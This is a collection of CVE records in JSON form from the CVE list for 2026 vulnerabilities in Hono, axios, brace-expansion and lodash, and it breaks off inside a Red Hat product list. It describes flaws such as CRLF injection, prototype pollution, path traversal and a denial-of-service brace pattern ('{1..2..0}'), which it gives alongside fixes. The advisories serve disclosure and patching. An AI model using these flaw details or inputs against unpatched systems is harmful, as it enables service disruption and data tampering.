Vulnerability from cvelistv5 – Published: 2026-05-13 14:58 – Updated: 2026-05-13 15:31- CWE-400 - Uncontrolled Resource Consumption
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-44456",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-13T15:31:08.812961Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T15:31:19.896Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.12.16"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.16, bodyLimit() does not reliably enforce maxSize for requests without a usable Content-Length (e.g. Transfer-Encoding: chunked). Oversized requests can reach handlers and return 200 instead of 413. This vulnerability is fixed in 4.12.16."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T14:59:56.980Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-9vqf-7f2p-gf9v",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-9vqf-7f2p-gf9v"
}
],
"source": {
"advisory": "GHSA-9vqf-7f2p-gf9v",
"discovery": "UNKNOWN"
},
"title": "Hono: bodyLimit() can be bypassed for chunked / unknown-length requests"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-44456",
"datePublished": "2026-05-13T14:58:08.451Z",
"dateReserved": "2026-05-06T15:49:25.193Z",
"dateUpdated": "2026-05-13T15:31:19.896Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42037 (GCVE-0-2026-42037)
Vulnerability from cvelistv5 – Published: 2026-04-24 17:58 – Updated: 2026-04-27 17:37- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42037",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-27T17:36:52.038565Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-27T17:37:06.975Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\\r\\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T17:58:16.058Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77"
}
],
"source": {
"advisory": "GHSA-445q-vr5w-6q77",
"discovery": "UNKNOWN"
},
"title": "Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42037",
"datePublished": "2026-04-24T17:58:16.058Z",
"dateReserved": "2026-04-23T16:05:01.708Z",
"dateUpdated": "2026-04-27T17:37:06.975Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-33750 (GCVE-0-2026-33750)
Vulnerability from cvelistv5 – Published: 2026-03-27 14:04 – Updated: 2026-03-27 14:48- CWE-400 - Uncontrolled Resource Consumption
| URL | Tags | |||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| juliangruber | brace-expansion |
Affected:
>= 4.0.0, < 5.0.5
Affected: >= 3.0.0, < 3.0.2 Affected: >= 2.0.0, < 2.0.3 Affected: < 1.1.13 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33750",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-27T14:47:58.490818Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T14:48:06.779Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "brace-expansion",
"vendor": "juliangruber",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.0.0, \u003c 5.0.5"
},
{
"status": "affected",
"version": "\u003e= 3.0.0, \u003c 3.0.2"
},
{
"status": "affected",
"version": "\u003e= 2.0.0, \u003c 2.0.3"
},
{
"status": "affected",
"version": "\u003c 1.1.13"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13, a brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory. Versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13 fix the issue. As a workaround, sanitize strings passed to `expand()` to ensure a step value of `0` is not used."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T14:04:52.297Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v"
},
{
"name": "https://github.com/juliangruber/brace-expansion/issues/98",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/issues/98"
},
{
"name": "https://github.com/juliangruber/brace-expansion/pull/95",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/pull/95"
},
{
"name": "https://github.com/juliangruber/brace-expansion/pull/96",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/pull/96"
},
{
"name": "https://github.com/juliangruber/brace-expansion/pull/97",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/pull/97"
},
{
"name": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5"
},
{
"name": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2"
},
{
"name": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a"
},
{
"name": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113"
},
{
"name": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184"
}
],
"source": {
"advisory": "GHSA-f886-m6hf-6m8v",
"discovery": "UNKNOWN"
},
"title": "brace-expansion: Zero-step sequence causes process hang and memory exhaustion"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33750",
"datePublished": "2026-03-27T14:04:52.297Z",
"dateReserved": "2026-03-23T18:30:14.124Z",
"dateUpdated": "2026-03-27T14:48:06.779Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-44459 (GCVE-0-2026-44459)
Vulnerability from cvelistv5 – Published: 2026-05-13 15:02 – Updated: 2026-06-23 15:52- CWE-1284 - Improper Validation of Specified Quantity in Input
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-44459",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-13T18:36:22.194803Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-23T15:52:56.009Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.12.18"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.18, improper validation of the JWT NumericDate claims exp, nbf, and iat in hono/utils/jwt allows tokens with non-spec-compliant claim values to silently bypass time-based checks. This issue is not exploitable by an anonymous attacker; it only manifests when a malformed claim value reaches verify() \u2014 typically when the application itself issues such tokens, or when the signing key is otherwise under attacker control. This vulnerability is fixed in 4.12.18."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 3.8,
"baseSeverity": "LOW",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1284",
"description": "CWE-1284: Improper Validation of Specified Quantity in Input",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T15:02:23.872Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-hm8q-7f3q-5f36",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-hm8q-7f3q-5f36"
}
],
"source": {
"advisory": "GHSA-hm8q-7f3q-5f36",
"discovery": "UNKNOWN"
},
"title": "Hono: Improper validation of NumericDate claims (exp, nbf, iat) in JWT verify()"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-44459",
"datePublished": "2026-05-13T15:02:23.872Z",
"dateReserved": "2026-05-06T15:49:25.193Z",
"dateUpdated": "2026-06-23T15:52:56.009Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-2950 (GCVE-0-2026-2950)
Vulnerability from cvelistv5 – Published: 2026-03-31 19:18 – Updated: 2026-04-01 13:43- CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
| Vendor | Product | Version | |||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| lodash | lodash |
Affected:
4.17.23 , < 4.18.0
(semver)
Unaffected: 4.18.0 (semver) |
|||||||||||||||||
|
|||||||||||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-2950",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-01T13:43:14.280375Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-01T13:43:21.491Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash",
"product": "lodash",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.17.23",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash-es",
"product": "lodash-es",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.17.23",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash-amd",
"product": "lodash-amd",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.17.23",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash.unset",
"product": "lodash.unset",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Haruna38"
},
{
"lang": "en",
"type": "finder",
"value": "shpik-kr"
},
{
"lang": "en",
"type": "finder",
"value": "maru1009"
},
{
"lang": "en",
"type": "finder",
"value": "ott3r07"
},
{
"lang": "en",
"type": "finder",
"value": "zolbooo"
},
{
"lang": "en",
"type": "finder",
"value": "backuardo"
},
{
"lang": "en",
"type": "remediation developer",
"value": "falsyvalues"
},
{
"lang": "en",
"type": "remediation developer",
"value": "jonchurch"
},
{
"lang": "en",
"type": "analyst",
"value": "jdalton"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "UlisesGascon"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Impact:\n\nLodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for (CVE-2025-13465: https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.\n\nThe issue permits deletion of prototype properties but does not allow overwriting their original behavior.\n\nPatches:\n\nThis issue is patched in 4.18.0.\n\nWorkarounds:\n\nNone. Upgrade to the patched version."
}
],
"value": "Impact:\n\nLodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for (CVE-2025-13465: https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.\n\nThe issue permits deletion of prototype properties but does not allow overwriting their original behavior.\n\nPatches:\n\nThis issue is patched in 4.18.0.\n\nWorkarounds:\n\nNone. Upgrade to the patched version."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1321",
"description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T19:18:35.796Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg"
}
],
"title": "lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`",
"x_generator": {
"engine": "cve-kit 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"assignerShortName": "openjs",
"cveId": "CVE-2026-2950",
"datePublished": "2026-03-31T19:18:35.796Z",
"dateReserved": "2026-02-21T20:04:35.087Z",
"dateUpdated": "2026-04-01T13:43:21.491Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-39408 (GCVE-0-2026-39408)
Vulnerability from cvelistv5 – Published: 2026-04-08 14:42 – Updated: 2026-04-10 20:31- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-39408",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-10T20:31:12.971142Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-10T20:31:47.508Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.12.12"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.12, a path traversal issue in toSSG() allows files to be written outside the configured output directory during static site generation. When using dynamic route parameters via ssgParams, specially crafted values can cause generated file paths to escape the intended output directory. This vulnerability is fixed in 4.12.12."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-08T14:42:25.357Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-xf4j-xp2r-rqqx",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-xf4j-xp2r-rqqx"
},
{
"name": "https://github.com/honojs/hono/commit/b470278920fffcfd6d76002755d6db53db827679",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/commit/b470278920fffcfd6d76002755d6db53db827679"
},
{
"name": "https://github.com/honojs/hono/releases/tag/v4.12.12",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/releases/tag/v4.12.12"
}
],
"source": {
"advisory": "GHSA-xf4j-xp2r-rqqx",
"discovery": "UNKNOWN"
},
"title": "Hono has a path traversal in toSSG() allows writing files outside the output directory"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-39408",
"datePublished": "2026-04-08T14:42:25.357Z",
"dateReserved": "2026-04-07T00:23:30.594Z",
"dateUpdated": "2026-04-10T20:31:47.508Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42264 (GCVE-0-2026-42264)
Vulnerability from cvelistv5 – Published: 2026-05-08 03:20 – Updated: 2026-07-03 12:04- CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42264",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-08T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-09T03:55:55.325Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhmt:1"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Containers",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "affected",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2"
],
"defaultStatus": "affected",
"product": "OpenShift Service Mesh 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "affected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "affected",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "affected",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
},
